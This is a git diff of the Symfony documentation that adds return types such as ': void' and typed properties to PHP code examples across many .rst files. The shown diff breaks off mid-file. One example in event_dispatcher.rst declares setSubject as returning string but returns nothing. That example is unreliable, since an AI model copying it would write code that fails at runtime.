 bundles/configuration.rst                     |  2 +-
 bundles/prepend_extension.rst                 |  2 +-
 cache.rst                                     | 14 ++---
 components/dependency_injection.rst           |  2 +-
 .../_imports-parameters-note.rst.inc          |  2 +-
 components/expression_language.rst            |  2 +-
 components/property_access.rst                | 24 ++++-----
 components/serializer.rst                     | 16 +++---
 components/var_dumper.rst                     |  2 +-
 configuration.rst                             | 14 ++---
 configuration/env_var_processors.rst          | 12 ++---
 configuration/micro_kernel_trait.rst          |  2 +-
 configuration/override_dir_structure.rst      |  4 +-
 configuration/secrets.rst                     |  2 +-
 controller/error_pages.rst                    |  2 +-
 controller/upload_file.rst                    |  2 +-
 controller/value_resolver.rst                 |  2 +-
 deployment/proxies.rst                        |  2 +-
 doctrine.rst                                  |  2 +-
 doctrine/events.rst                           |  6 +--
 event_dispatcher.rst                          | 51 +++++++++---------
 form/embedded.rst                             |  4 +-
 frontend/custom_version_strategy.rst          |  2 +-
 html_sanitizer.rst                            | 22 ++++----
 http_cache/cache_invalidation.rst             |  2 +-
 http_cache/esi.rst                            |  4 +-
 http_cache/ssi.rst                            |  2 +-
 http_client.rst                               | 23 ++++----
 lock.rst                                      |  4 +-
 mailer.rst                                    | 12 ++---
 messenger.rst                                 | 30 +++++------
 messenger/custom-transport.rst                |  2 +-
 messenger/multiple_buses.rst                  |  2 +-
 notifier.rst                                  | 12 ++---
 rate_limiter.rst                              |  6 +--
 reference/configuration/framework.rst         | 42 +++++++--------
 reference/constraints/Compound.rst            |  4 +-
 reference/constraints/UniqueEntity.rst        | 11 ++--
 reference/formats/expression_language.rst     |  6 +--
 routing.rst                                   |  2 +-
 routing/custom_route_loader.rst               |  2 +-
 security.rst                                  | 52 +++++++++---------
 security/access_control.rst                   |  2 +-
 security/csrf.rst                             |  2 +-
 serializer.rst                                | 13 ++---
 service_container.rst                         | 24 ++++-----
 service_container/injection_types.rst         |  2 +-
 service_container/service_closures.rst        |  2 +-
 service_container/tags.rst                    |  6 +--
 session.rst                                   | 54 +++++++++----------
 templates.rst                                 |  4 +-
 testing.rst                                   |  2 +-
 testing/profiling.rst                         |  2 +-
 translation.rst                               |  8 +--
 validation.rst                                | 36 ++++++-------
 validation/translations.rst                   |  8 +--
 workflow.rst                                  | 34 ++++++------
 workflow/dumping-workflows.rst                |  2 +-
 workflow/workflow-and-state-machine.rst       |  2 +-
 60 files changed, 310 insertions(+), 308 deletions(-)

diff --git a/bundles/best_practices.rst b/bundles/best_practices.rst
index 10ae34e9d33..72a394362fa 100644
--- a/bundles/best_practices.rst
+++ b/bundles/best_practices.rst
@@ -436,7 +436,7 @@ The end user can provide values in any configuration file:
         // config/services.php
         namespace Symfony\Component\DependencyInjection\Loader\Configurator;
 
-        return static function (ContainerConfigurator $container) {
+        return static function (ContainerConfigurator $container): void {
             $container->parameters()
                 ->set('acme_blog.author.email', 'fabien@example.com')
             ;
diff --git a/bundles/configuration.rst b/bundles/configuration.rst
index 4ef81743bf5..6933f7eb794 100644
--- a/bundles/configuration.rst
+++ b/bundles/configuration.rst
@@ -42,7 +42,7 @@ as integration of other related components:
         // config/packages/framework.php
         use Symfony\Config\FrameworkConfig;
 
-        return static function (FrameworkConfig $framework) {
+        return static function (FrameworkConfig $framework): void {
             $framework->form()->enabled(true);
         };
 
diff --git a/bundles/prepend_extension.rst b/bundles/prepend_extension.rst
index a0c686c4527..8d28080470f 100644
--- a/bundles/prepend_extension.rst
+++ b/bundles/prepend_extension.rst
@@ -139,7 +139,7 @@ registered and the ``entity_manager_name`` setting for ``acme_hello`` is set to
         // config/packages/acme_something.php
         namespace Symfony\Component\DependencyInjection\Loader\Configurator;
 
-        return static function (ContainerConfigurator $container) {
+        return static function (ContainerConfigurator $container): void {
             $container->extension('acme_something', [
                 // ...
                 'use_acme_goodbye' => false,
diff --git a/cache.rst b/cache.rst
index 84d60315fe3..f9d7175cf41 100644
--- a/cache.rst
+++ b/cache.rst
@@ -85,7 +85,7 @@ adapter (template) they use by using the ``app`` and ``system`` key like:
         // config/packages/cache.php
         use Symfony\Config\FrameworkConfig;
 
-        return static function (FrameworkConfig $framework) {
+        return static function (FrameworkConfig $framework): void {
             $framework->cache()
                 ->app('cache.adapter.filesystem')
                 ->system('cache.adapter.system')
@@ -163,7 +163,7 @@ will create pools with service IDs that follow the pattern ``cache.[type]``.
         // config/packages/cache.php
         use Symfony\Config\FrameworkConfig;
 
-        return static function (FrameworkConfig $framework) {
+        return static function (FrameworkConfig $framework): void {
             $framework->cache()
                 // Only used with cache.adapter.filesystem
                 ->directory('%kernel.cache_dir%/pools')
@@ -264,7 +264,7 @@ You can also create more customized pools:
         // config/packages/cache.php
         use Symfony\Config\FrameworkConfig;
 
-        return static function (FrameworkConfig $framework) {
+        return static function (FrameworkConfig $framework): void {
             $cache = $framework->cache();
             $cache->defaultMemcachedProvider('memcached://localhost');
 
@@ -444,7 +444,7 @@ and use that when configuring the pool.
         use Symfony\Component\DependencyInjection\ContainerBuilder;
         use Symfony\Config\FrameworkConfig;
 
-        return static function (ContainerBuilder $container, FrameworkConfig $framework) {
+        return static function (ContainerBuilder $container, FrameworkConfig $framework): void {
             $framework->cache()
                 ->pool('cache.my_redis')
                     ->adapters(['cache.adapter.redis'])
@@ -524,7 +524,7 @@ Symfony stores the item automatically in all the missing pools.
         // config/packages/cache.php
         use Symfony\Config\FrameworkConfig;
 
-        return static function (FrameworkConfig $framework) {
+        return static function (FrameworkConfig $framework): void {
             $framework->cache()
                 ->pool('my_cache_pool')
                     ->defaultLifetime(31536000) // One year
@@ -616,7 +616,7 @@ to enable this feature. This could be added by using the following configuration
         // config/packages/cache.php
         use Symfony\Config\FrameworkConfig;
 
-        return static function (FrameworkConfig $framework) {
+        return static function (FrameworkConfig $framework): void {
             $framework->cache()
                 ->pool('my_cache_pool')
                     ->tags(true)
@@ -670,7 +670,7 @@ achieved by specifying the adapter.
         // config/packages/cache.php
         use Symfony\Config\FrameworkConfig;
 
-        return static function (FrameworkConfig $framework) {
+        return static function (FrameworkConfig $framework): void {
             $framework->cache()
                 ->pool('my_cache_pool')
                     ->tags('tag_pool')
diff --git a/components/dependency_injection.rst b/components/dependency_injection.rst
index f805b39db35..6d8672feeef 100644
--- a/components/dependency_injection.rst
+++ b/components/dependency_injection.rst
@@ -313,7 +313,7 @@ config files:
 
         namespace Symfony\Component\DependencyInjection\Loader\Configurator;
 
-        return static function (ContainerConfigurator $container) {
+        return static function (ContainerConfigurator $container): void {
             $container->parameters()
                 // ...
                 ->set('mailer.transport', 'sendmail')
diff --git a/components/dependency_injection/_imports-parameters-note.rst.inc b/components/dependency_injection/_imports-parameters-note.rst.inc
index d17d6d60b26..1389ca78fe3 100644
--- a/components/dependency_injection/_imports-parameters-note.rst.inc
+++ b/components/dependency_injection/_imports-parameters-note.rst.inc
@@ -31,6 +31,6 @@
             // config/services.php
             namespace Symfony\Component\DependencyInjection\Loader\Configurator;
 
-            return static function (ContainerConfigurator $container) {
+            return static function (ContainerConfigurator $container): void {
                 $container->import('%kernel.project_dir%/somefile.yaml');
             };
diff --git a/components/expression_language.rst b/components/expression_language.rst
index 33fdcae8de2..3f79c57707d 100644
--- a/components/expression_language.rst
+++ b/components/expression_language.rst
@@ -107,7 +107,7 @@ PHP type (including objects)::
 
     class Apple
     {
-        public $variety;
+        public string $variety;
     }
 
     $apple = new Apple();
diff --git a/components/property_access.rst b/components/property_access.rst
index 7bf4a3d3a9e..3364b667a5c 100644
--- a/components/property_access.rst
+++ b/components/property_access.rst
@@ -177,7 +177,7 @@ method::
     // ...
     class Person
     {
-        public $name;
+        public string $name;
     }
 
     $person = new Person();
@@ -321,26 +321,26 @@ can use setters, the magic ``__set()`` method or properties to set values::
     // ...
     class Person
     {
-        public $firstName;
-        private $lastName;
-        private $children = [];
+        public string $firstName;
+        private string $lastName;
+        private array $children = [];
 
-        public function setLastName($name)
+        public function setLastName($name): void
         {
             $this->lastName = $name;
         }
 
-        public function getLastName()
+        public function getLastName(): string
         {
             return $this->lastName;
         }
 
-        public function getChildren()
+        public function getChildren(): array
         {
             return $this->children;
         }
 
-        public function __set($property, $value)
+        public function __set($property, $value): void
         {
             $this->$property = $value;
         }
@@ -507,15 +507,15 @@ You can also mix objects and arrays::
     // ...
     class Person
     {
-        public $firstName;
-        private $children = [];
+        public string $firstName;
+        private array $children = [];
 
-        public function setChildren($children)
+        public function setChildren($children): void
         {
             $this->children = $children;
         }
 
-        public function getChildren()
+        public function getChildren(): array
         {
             return $this->children;
         }
diff --git a/components/serializer.rst b/components/serializer.rst
index 0b97690650f..e08bd5c1f07 100644
--- a/components/serializer.rst
+++ b/components/serializer.rst
@@ -398,15 +398,15 @@ It is also possible to serialize only a set of specific attributes::
 
     class User
     {
-        public $familyName;
-        public $givenName;
-        public $company;
+        public string $familyName;
+        public string $givenName;
+        public string $company;
     }
 
     class Company
     {
-        public $name;
-        public $address;
+        public string $name;
+        public string $address;
     }
 
     $company = new Company();
@@ -529,8 +529,8 @@ Given you have the following object::
 
     class Company
     {
-        public $name;
-        public $address;
+        public string $name;
+        public string $address;
     }
 
 And in the serialized form, all attributes must be prefixed by ``org_`` like
@@ -925,7 +925,7 @@ faster alternative to the
 
         use Symfony\Component\Serializer\Normalizer\GetSetMethodNormalizer;
 
-        return static function (ContainerConfigurator $container) {
+        return static function (ContainerConfigurator $container): void {
             $container->services()
                 // ...
                 ->set('get_set_method_normalizer', GetSetMethodNormalizer::class)
diff --git a/components/var_dumper.rst b/components/var_dumper.rst
index 3a55d6c21bd..ccde974b9e5 100644
--- a/components/var_dumper.rst
+++ b/components/var_dumper.rst
@@ -144,7 +144,7 @@ the :ref:`dump_destination option <configuration-debug-dump_destination>` of the
         // config/packages/debug.php
         namespace Symfony\Component\DependencyInjection\Loader\Configurator;
 
-        return static function (ContainerConfigurator $container) {
+        return static function (ContainerConfigurator $container): void {
             $container->extension('debug', [
                 'dump_destination' => 'tcp://%env(VAR_DUMPER_SERVER)%',
             ]);
diff --git a/configuration.rst b/configuration.rst
index 733dbbac32a..b7ccac2ece7 100644
--- a/configuration.rst
+++ b/configuration.rst
@@ -136,7 +136,7 @@ configuration files, even if they use a different format:
         // config/services.php
         namespace Symfony\Component\DependencyInjection\Loader\Configurator;
 
-        return static function (ContainerConfigurator $container) {
+        return static function (ContainerConfigurator $container): void {
             $container->import('legacy_config.php');
 
             // glob expressions are also supported to load multiple files
@@ -242,7 +242,7 @@ reusable configuration value. By convention, parameters are defined under the
         use App\Entity\BlogPost;
         use App\Enum\PostState;
 
-        return static function (ContainerConfigurator $container) {
+        return static function (ContainerConfigurator $container): void {
             $container->parameters()
                 // the parameter name is an arbitrary string (the 'app.' prefix is recommended
                 // to better differentiate your parameters from Symfony parameters).
@@ -321,7 +321,7 @@ configuration file using a special syntax: wrap the parameter name in two ``%``
         // config/packages/some_package.php
         namespace Symfony\Component\DependencyInjection\Loader\Configurator;
 
-        return static function (ContainerConfigurator $container) {
+        return static function (ContainerConfigurator $container): void {
             $container->extension('some_package', [
                 // any string surrounded by two % is replaced by that parameter value
                 'email_address' => '%app.admin_email%',
@@ -358,7 +358,7 @@ configuration file using a special syntax: wrap the parameter name in two ``%``
             // config/services.php
             namespace Symfony\Component\DependencyInjection\Loader\Configurator;
 
-            return static function (ContainerConfigurator $container) {
+            return static function (ContainerConfigurator $container): void {
                 $container->parameters()
                     ->set('url_pattern', 'http://symfony.com/?foo=%%s&amp;bar=%%d');
             };
@@ -620,7 +620,7 @@ This example shows how you could configure the application secret using an env v
         // config/packages/framework.php
         namespace Symfony\Component\DependencyInjection\Loader\Configurator;
 
-        return static function (ContainerConfigurator $container) {
+        return static function (ContainerConfigurator $container): void {
             $container->extension('framework', [
                 // by convention the env var names are always uppercase
                 'secret' => '%env(APP_SECRET)%',
@@ -973,7 +973,7 @@ doesn't work for parameters:
 
         use App\Service\MessageGenerator;
 
-        return static function (ContainerConfigurator $container) {
+        return static function (ContainerConfigurator $container): void {
             $container->parameters()
                 ->set('app.contents_dir', '...');
 
@@ -1030,7 +1030,7 @@ whenever a service/controller defines a ``$projectDir`` argument, use this:
 
         use App\Controller\LuckyController;
 
-        return static function (ContainerConfigurator $container) {
+        return static function (ContainerConfigurator $container): void {
             $container->services()
                 ->defaults()
                     // pass this value to any $projectDir argument for any service
diff --git a/configuration/env_var_processors.rst b/configuration/env_var_processors.rst
index 15a91f249de..937c0e341f6 100644
--- a/configuration/env_var_processors.rst
+++ b/configuration/env_var_processors.rst
@@ -45,7 +45,7 @@ processor to turn the value of the ``HTTP_PORT`` env var into an integer:
 
         use Symfony\Config\FrameworkConfig;
 
-        return static function (FrameworkConfig $framework) {
+        return static function (FrameworkConfig $framework): void {
             $framework->router()
                 ->httpPort('%env(int:HTTP_PORT)%')
                 // or
@@ -98,7 +98,7 @@ Symfony provides the following env var processors:
             use Symfony\Component\DependencyInjection\ContainerBuilder;
             use Symfony\Config\FrameworkConfig;
 
-            return static function (ContainerBuilder $container, FrameworkConfig $framework) {
+            return static function (ContainerBuilder $container, FrameworkConfig $framework): void {
                 $container->setParameter('env(SECRET)', 'some_secret');
                 $framework->secret(env('SECRET')->string());
             };
@@ -144,7 +144,7 @@ Symfony provides the following env var processors:
             use Symfony\Component\DependencyInjection\ContainerBuilder;
             use Symfony\Config\FrameworkConfig;
 
-            return static function (ContainerBuilder $container, FrameworkConfig $framework) {
+            return static function (ContainerBuilder $container, FrameworkConfig $framework): void {
                 $container->setParameter('env(HTTP_METHOD_OVERRIDE)', 'true');
                 $framework->httpMethodOverride(env('HTTP_METHOD_OVERRIDE')->bool());
             };
@@ -231,7 +231,7 @@ Symfony provides the following env var processors:
             use Symfony\Component\DependencyInjection\ContainerBuilder;
             use Symfony\Config\SecurityConfig;
 
-            return static function (ContainerBuilder $container, SecurityConfig $security) {
+            return static function (ContainerBuilder $container, SecurityConfig $security): void {
                 $container->setParameter('env(HEALTH_CHECK_METHOD)', 'Symfony\Component\HttpFoundation\Request::METHOD_HEAD');
                 $security->accessControl()
                     ->path('^/health-check$')
@@ -280,7 +280,7 @@ Symfony provides the following env var processors:
             use Symfony\Component\DependencyInjection\ContainerBuilder;
             use Symfony\Config\FrameworkConfig;
 
-            return static function (ContainerBuilder $container) {
+            return static function (ContainerBuilder $container): void {
                 $container->setParameter('env(ALLOWED_LANGUAGES)', '["en","de","es"]');
                 $container->setParameter('app_allowed_languages', '%env(json:ALLOWED_LANGUAGES)%');
             };
@@ -364,7 +364,7 @@ Symfony provides the following env var processors:
             use Symfony\Component\DependencyInjection\ContainerBuilder;
             use Symfony\Config\FrameworkConfig;
 
-            return static function (ContainerBuilder $container) {
+            return static function (ContainerBuilder $container): void {
                 $container->setParameter('env(ALLOWED_LANGUAGES)', 'en,de,es');
                 $container->setParameter('app_allowed_languages', '%env(csv:ALLOWED_LANGUAGES)%');
             };
diff --git a/configuration/micro_kernel_trait.rst b/configuration/micro_kernel_trait.rst
index 2a4b8a2b495..ac0d50e1671 100644
--- a/configuration/micro_kernel_trait.rst
+++ b/configuration/micro_kernel_trait.rst
@@ -369,7 +369,7 @@ because the configuration started to get bigger:
         // config/framework.php
         use Symfony\Config\FrameworkConfig;
 
-        return static function (FrameworkConfig $framework) {
+        return static function (FrameworkConfig $framework): void {
             $framework
                 ->secret('SOME_SECRET')
                 ->profiler()
diff --git a/configuration/override_dir_structure.rst b/configuration/override_dir_structure.rst
index 7528c250729..4fb5524a2aa 100644
--- a/configuration/override_dir_structure.rst
+++ b/configuration/override_dir_structure.rst
@@ -67,7 +67,7 @@ Console script::
 Web front-controller::
 
     // public/index.php
-    
+
     // ...
     $_SERVER['APP_RUNTIME_OPTIONS']['dotenv_path'] = 'another/custom/path/to/.env';
 
@@ -236,7 +236,7 @@ configuration option to define your own translations directory (use :ref:`framew
         // config/packages/translation.php
         use Symfony\Config\FrameworkConfig;
 
-        return static function (FrameworkConfig $framework) {
+        return static function (FrameworkConfig $framework): void {
             $framework->translator()
                 ->defaultPath('%kernel.project_dir%/i18n')
             ;
diff --git a/configuration/secrets.rst b/configuration/secrets.rst
index d2923e13a42..bd52ea0895a 100644
--- a/configuration/secrets.rst
+++ b/configuration/secrets.rst
@@ -309,7 +309,7 @@ The secrets system is enabled by default and some of its behavior can be configu
         // config/packages/framework.php
         use Symfony\Config\FrameworkConfig;
 
-        return static function (FrameworkConfig $framework) {
+        return static function (FrameworkConfig $framework): void {
             $framework->secrets()
                 // ->vaultDirectory('%kernel.project_dir%/config/secrets/%kernel.environment%')
                 // ->localDotenvFile('%kernel.project_dir%/.env.%kernel.environment%.local')
diff --git a/controller/error_pages.rst b/controller/error_pages.rst
index 0e2463cbfd1..d28c51cce99 100644
--- a/controller/error_pages.rst
+++ b/controller/error_pages.rst
@@ -277,7 +277,7 @@ configuration option to point to it:
         // config/packages/framework.php
         use Symfony\Config\FrameworkConfig;
 
-        return static function (FrameworkConfig $framework) {
+        return static function (FrameworkConfig $framework): void {
             // ...
             $framework->errorController('App\Controller\ErrorController::show');
         };
diff --git a/controller/upload_file.rst b/controller/upload_file.rst
index f2a39c12262..9bcc17cd7cd 100644
--- a/controller/upload_file.rst
+++ b/controller/upload_file.rst
@@ -312,7 +312,7 @@ Then, define a service for this class:
 
         use App\Service\FileUploader;
 
-        return static function (ContainerConfigurator $container) {
+        return static function (ContainerConfigurator $container): void {
             $services = $container->services();
 
             $services->set(FileUploader::class)
diff --git a/controller/value_resolver.rst b/controller/value_resolver.rst
index b2d93b13148..d9a84aa06ee 100644
--- a/controller/value_resolver.rst
+++ b/controller/value_resolver.rst
@@ -320,7 +320,7 @@ and adding a priority:
 
         use App\ValueResolver\BookingIdValueResolver;
 
-        return static function (ContainerConfigurator $containerConfigurator) {
+        return static function (ContainerConfigurator $containerConfigurator): void {
             $services = $containerConfigurator->services();
 
             $services->set(BookingIdValueResolver::class)
diff --git a/deployment/proxies.rst b/deployment/proxies.rst
index 18377068cd6..2b716faa327 100644
--- a/deployment/proxies.rst
+++ b/deployment/proxies.rst
@@ -71,7 +71,7 @@ and what headers your reverse proxy uses to send information:
         // config/packages/framework.php
         use Symfony\Config\FrameworkConfig;
 
-        return static function (FrameworkConfig $framework) {
+        return static function (FrameworkConfig $framework): void {
             $framework
                 // the IP address (or range) of your proxy
                 ->trustedProxies('192.0.0.1,10.0.0.0/8')
diff --git a/doctrine.rst b/doctrine.rst
index 164ed72ed09..ff8eaa2479a 100644
--- a/doctrine.rst
+++ b/doctrine.rst
@@ -282,7 +282,7 @@ methods:
           // ...
 
     +     #[ORM\Column(type: Types::TEXT)]
-    +     private $description;
+    +     private string $description;
 
           // getDescription() & setDescription() were also added
       }
diff --git a/doctrine/events.rst b/doctrine/events.rst
index 9319fdbfca0..53a3dc5b32e 100644
--- a/doctrine/events.rst
+++ b/doctrine/events.rst
@@ -234,7 +234,7 @@ listener in the Symfony application by creating a new service for it and
 
         use App\EventListener\SearchIndexer;
 
-        return static function (ContainerConfigurator $container) {
+        return static function (ContainerConfigurator $container): void {
             $services = $container->services();
 
             // listeners are applied by default to all Doctrine connections
@@ -385,7 +385,7 @@ with the ``doctrine.orm.entity_listener`` tag as follows:
         use App\Entity\User;
         use App\EventListener\UserChangedNotifier;
 
-        return static function (ContainerConfigurator $container) {
+        return static function (ContainerConfigurator $container): void {
             $services = $container->services();
 
             $services->set(UserChangedNotifier::class)
@@ -531,7 +531,7 @@ Doctrine connection to use) you must do that in the manual service configuration
 
         use App\EventListener\DatabaseActivitySubscriber;
 
-        return static function (ContainerConfigurator $container) {
+        return static function (ContainerConfigurator $container): void {
             $services = $container->services();
 
             $services->set(DatabaseActivitySubscriber::class)
diff --git a/event_dispatcher.rst b/event_dispatcher.rst
index d09a05a7473..275ec7863fe 100644
--- a/event_dispatcher.rst
+++ b/event_dispatcher.rst
@@ -263,17 +263,17 @@ listen to the same ``kernel.exception`` event::
             ];
         }
 
-        public function processException(ExceptionEvent $event)
+        public function processException(ExceptionEvent $event): void
         {
             // ...
         }
 
-        public function logException(ExceptionEvent $event)
+        public function logException(ExceptionEvent $event): void
         {
             // ...
         }
 
-        public function notifyException(ExceptionEvent $event)
+        public function notifyException(ExceptionEvent $event): void
         {
             // ...
         }
@@ -306,7 +306,7 @@ a "main" request or a "sub request"::
 
     class RequestListener
     {
-        public function onKernelRequest(RequestEvent $event)
+        public function onKernelRequest(RequestEvent $event): void
         {
             if (!$event->isMainRequest()) {
                 // don't do anything if it's not the main request
@@ -357,7 +357,7 @@ name (FQCN) of the corresponding event class::
             ];
         }
 
-        public function onKernelRequest(RequestEvent $event)
+        public function onKernelRequest(RequestEvent $event): void
         {
             // ...
         }
@@ -381,7 +381,7 @@ compiler pass ``AddEventAliasesPass``::
 
     class Kernel extends BaseKernel
     {
-        protected function build(ContainerBuilder $container)
+        protected function build(ContainerBuilder $container): void
         {
             $container->addCompilerPass(new AddEventAliasesPass([
                 MyCustomEvent::class => 'my_custom_event',
@@ -519,11 +519,12 @@ A controller that implements this interface looks like this::
 
     use App\Controller\TokenAuthenticatedController;
     use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
+    use Symfony\Component\HttpFoundation\Response;
 
     class FooController extends AbstractController implements TokenAuthenticatedController
     {
         // An action that needs authentication
-        public function bar()
+        public function bar(): Response
         {
             // ...
         }
@@ -548,11 +549,11 @@ event subscribers, you can learn more about them at :doc:`/event_dispatcher`::
     class TokenSubscriber implements EventSubscriberInterface
     {
         public function __construct(
-            private $tokens
+            private array $tokens
         ) {
         }
 
-        public function onKernelController(ControllerEvent $event)
+        public function onKernelController(ControllerEvent $event): void
         {
             $controller = $event->getController();
 
@@ -570,7 +571,7 @@ event subscribers, you can learn more about them at :doc:`/event_dispatcher`::
             }
         }
 
-        public static function getSubscribedEvents()
+        public static function getSubscribedEvents(): array
         {
             return [
                 KernelEvents::CONTROLLER => 'onKernelController',
@@ -609,7 +610,7 @@ For example, take the ``TokenSubscriber`` from the previous example and first
 record the authentication token inside the request attributes. This will
 serve as a basic flag that this request underwent token authentication::
 
-    public function onKernelController(ControllerEvent $event)
+    public function onKernelController(ControllerEvent $event): void
     {
         // ...
 
@@ -631,7 +632,7 @@ header on the response if it's found::
     // add the new use statement at the top of your file
     use Symfony\Component\HttpKernel\Event\ResponseEvent;
 
-    public function onKernelResponse(ResponseEvent $event)
+    public function onKernelResponse(ResponseEvent $event): void
     {
         // check to see if onKernelController marked this as a token "auth'ed" request
         if (!$token = $event->getRequest()->attributes->get('auth_token')) {
@@ -645,7 +646,7 @@ header on the response if it's found::
         $response->headers->set('X-CONTENT-HASH', $hash);
     }
 
-    public static function getSubscribedEvents()
+    public static function getSubscribedEvents(): array
     {
         return [
             KernelEvents::CONTROLLER => 'onKernelController',
@@ -673,7 +674,7 @@ end of the method::
     {
         // ...
 
-        public function send($subject, $message)
+        public function send(string $subject, string $message): mixed
         {
             // dispatch an event before the method
             $event = new BeforeSendMailEvent($subject, $message);
@@ -711,27 +712,27 @@ this::
     class BeforeSendMailEvent extends Event
     {
         public function __construct(
-            private $subject,
-            private $message,
+            private string $subject,
+            private string $message,
         ) {
         }
 
-        public function getSubject()
+        public function getSubject(): string
         {
             return $this->subject;
         }
 
-        public function setSubject($subject)
+        public function setSubject(string $subject): string
         {
             $this->subject = $subject;
         }
 
-        public function getMessage()
+        public function getMessage(): string
         {
             return $this->message;
         }
 
-        public function setMessage($message)
+        public function setMessage(string $message)
         {
             $this->message = $message;
         }
@@ -747,16 +748,16 @@ And the ``AfterSendMailEvent`` even like this::
     class AfterSendMailEvent extends Event
     {
         public function __construct(
-            private $returnValue,
+            private mixed $returnValue,
         ) {
         }
 
-        public function getReturnValue()
+        public function getReturnValue(): mixed
         {
             return $this->returnValue;
         }
 
-        public function setReturnValue($returnValue)
+        public function setReturnValue(mixed $returnValue)
         {
             $this->returnValue = $returnValue;
         }
@@ -776,7 +777,7 @@ could listen to the ``mailer.post_send`` event and change the method's return va
 
     class MailPostSendSubscriber implements EventSubscriberInterface
     {
-        public function onMailerPostSend(AfterSendMailEvent $event)
+        public function onMailerPostSend(AfterSendMailEvent $event): void
         {
             $returnValue = $event->getReturnValue();
             // modify the original $returnValue value
@@ -784,7 +785,7 @@ could listen to the ``mailer.post_send`` event and change the method's return va
             $event->setReturnValue($returnValue);
         }
 
-        public static function getSubscribedEvents()
+        public static function getSubscribedEvents(): array
         {
             return [
                 'mailer.post_send' => 'onMailerPostSend',
diff --git a/form/embedded.rst b/form/embedded.rst
index d4463532e9b..4263bb42b5d 100644
--- a/form/embedded.rst
+++ b/form/embedded.rst
@@ -22,7 +22,7 @@ creating the ``Category`` class::
     class Category
     {
         #[Assert\NotBlank]
-        public $name;
+        public string $name;
     }
 
 Next, add a new ``category`` property to the ``Task`` class::
@@ -35,7 +35,7 @@ Next, add a new ``category`` property to the ``Task`` class::
 
         #[Assert\Type(type: Category::class)]
         #[Assert\Valid]
-        protected $category;
+        protected ?Category $category = null;
 
         // ...
 
diff --git a/frontend/custom_version_strategy.rst b/frontend/custom_version_strategy.rst
index a873df8e801..9b86685889b 100644
--- a/frontend/custom_version_strategy.rst
+++ b/frontend/custom_version_strategy.rst
@@ -178,7 +178,7 @@ the :ref:`version_strategy <reference-assets-version-strategy>` option:
         use App\Asset\VersionStrategy\GulpBusterVersionStrategy;
         use Symfony\Config\FrameworkConfig;
 
-        return static function (FrameworkConfig $framework) {
+        return static function (FrameworkConfig $framework): void {
             // ...
             $framework->assets()
                 ->versionStrategy(GulpBusterVersionStrategy::class)
diff --git a/html_sanitizer.rst b/html_sanitizer.rst
index 9aa26bbe37e..fccaedd29cd 100644
--- a/html_sanitizer.rst
+++ b/html_sanitizer.rst
@@ -197,7 +197,7 @@ You can do this by defining a new HTML sanitizer in the configuration:
         // config/packages/framework.php
         use Symfony\Config\FrameworkConfig;
 
-        return static function (FrameworkConfig $framework) {
+        return static function (FrameworkConfig $framework): void {
             $framework->htmlSanitizer()
                 ->sanitizer('app.post_sanitizer')
                     ->blockElement('h1')
@@ -273,7 +273,7 @@ Safe elements
         // config/packages/framework.php
         use Symfony\Config\FrameworkConfig;
 
-        return static function (FrameworkConfig $framework) {
+        return static function (FrameworkConfig $framework): void {
             $framework->htmlSanitizer()
                 ->sanitizer('app.post_sanitizer')
                     // enable either of these
@@ -360,7 +360,7 @@ attributes from the `W3C Standard Proposal`_ are allowed.
         // config/packages/framework.php
         use Symfony\Config\FrameworkConfig;
 
-        return static function (FrameworkConfig $framework) {
+        return static function (FrameworkConfig $framework): void {
             $framework->htmlSanitizer()
                 ->sanitizer('app.post_sanitizer')
                     // allow the <article> element and 2 attributes
@@ -443,7 +443,7 @@ This can also be used to remove elements from the allow list.
         // config/packages/framework.php
         use Symfony\Config\FrameworkConfig;
 
-        return static function (FrameworkConfig $framework) {
+        return static function (FrameworkConfig $framework): void {
             $framework->htmlSanitizer()
                 ->sanitizer('app.post_sanitizer')
                     // remove <div>, but process the children
@@ -521,7 +521,7 @@ on all elements allowed *before this setting*.
         // config/packages/framework.php
         use Symfony\Config\FrameworkConfig;
 
-        return static function (FrameworkConfig $framework) {
+        return static function (FrameworkConfig $framework): void {
             $framework->htmlSanitizer()
                 ->sanitizer('app.post_sanitizer')
                     // allow "src' on <iframe> elements
@@ -607,7 +607,7 @@ This option allows you to disallow attributes that were allowed before.
         // config/packages/framework.php
         use Symfony\Config\FrameworkConfig;
 
-        return static function (FrameworkConfig $framework) {
+        return static function (FrameworkConfig $framework): void {
             $framework->htmlSanitizer()
                 ->sanitizer('app.post_sanitizer')
                     // allow the "data-attr" on all safe elements...
@@ -685,7 +685,7 @@ element (even if the original one didn't contain a ``rel`` attribute):
         // config/packages/framework.php
         use Symfony\Config\FrameworkConfig;
 
-        return static function (FrameworkConfig $framework) {
+        return static function (FrameworkConfig $framework): void {
             $framework->htmlSanitizer()
                 ->sanitizer('app.post_sanitizer')
                     ->forceAttribute('a', 'rel', 'noopener noreferrer')
@@ -774,7 +774,7 @@ URLs of ``<a>`` elements:
         // config/packages/framework.php
         use Symfony\Config\FrameworkConfig;
 
-        return static function (FrameworkConfig $framework) {
+        return static function (FrameworkConfig $framework): void {
             $framework->htmlSanitizer()
                 ->sanitizer('app.post_sanitizer')
                     // if `true`, all URLs will be forced using the `https://` scheme (instead
@@ -888,7 +888,7 @@ the HTML sanitizer: ``src``, ``href``, ``lowsrc``, ``background`` and ``ping``.
         // config/packages/framework.php
         use Symfony\Config\FrameworkConfig;
 
-        return static function (FrameworkConfig $framework) {
+        return static function (FrameworkConfig $framework): void {
             $framework->htmlSanitizer()
                 ->sanitizer('app.post_sanitizer')
                     // if `true`, all URLs will be forced using the `https://` scheme (instead
@@ -979,7 +979,7 @@ increase or decrease this limit:
         // config/packages/framework.php
         use Symfony\Config\FrameworkConfig;
 
-        return static function (FrameworkConfig $framework) {
+        return static function (FrameworkConfig $framework): void {
             $framework->htmlSanitizer()
                 ->sanitizer('app.post_sanitizer')
                     // inputs longer (in characters) than this value will be truncated (default: 20000)
@@ -1053,7 +1053,7 @@ to enable it for an HTML sanitizer:
         use App\Sanitizer\CustomAttributeSanitizer;
         use Symfony\Config\FrameworkConfig;
 
-        return static function (FrameworkConfig $framework) {
+        return static function (FrameworkConfig $framework): void {
             $framework->htmlSanitizer()
                 ->sanitizer('app.post_sanitizer')
                     ->withAttributeSanitizer(CustomAttributeSanitizer::class)
diff --git a/http_cache/cache_invalidation.rst b/http_cache/cache_invalidation.rst
index 22bfed82be8..828d7c5e9e5 100644
--- a/http_cache/cache_invalidation.rst
+++ b/http_cache/cache_invalidation.rst
@@ -139,7 +139,7 @@ Then, register the class as a service that :doc:`decorates </service_container/s
 
         use App\CacheKernel;
 
-        return function (ContainerConfigurator $container) {
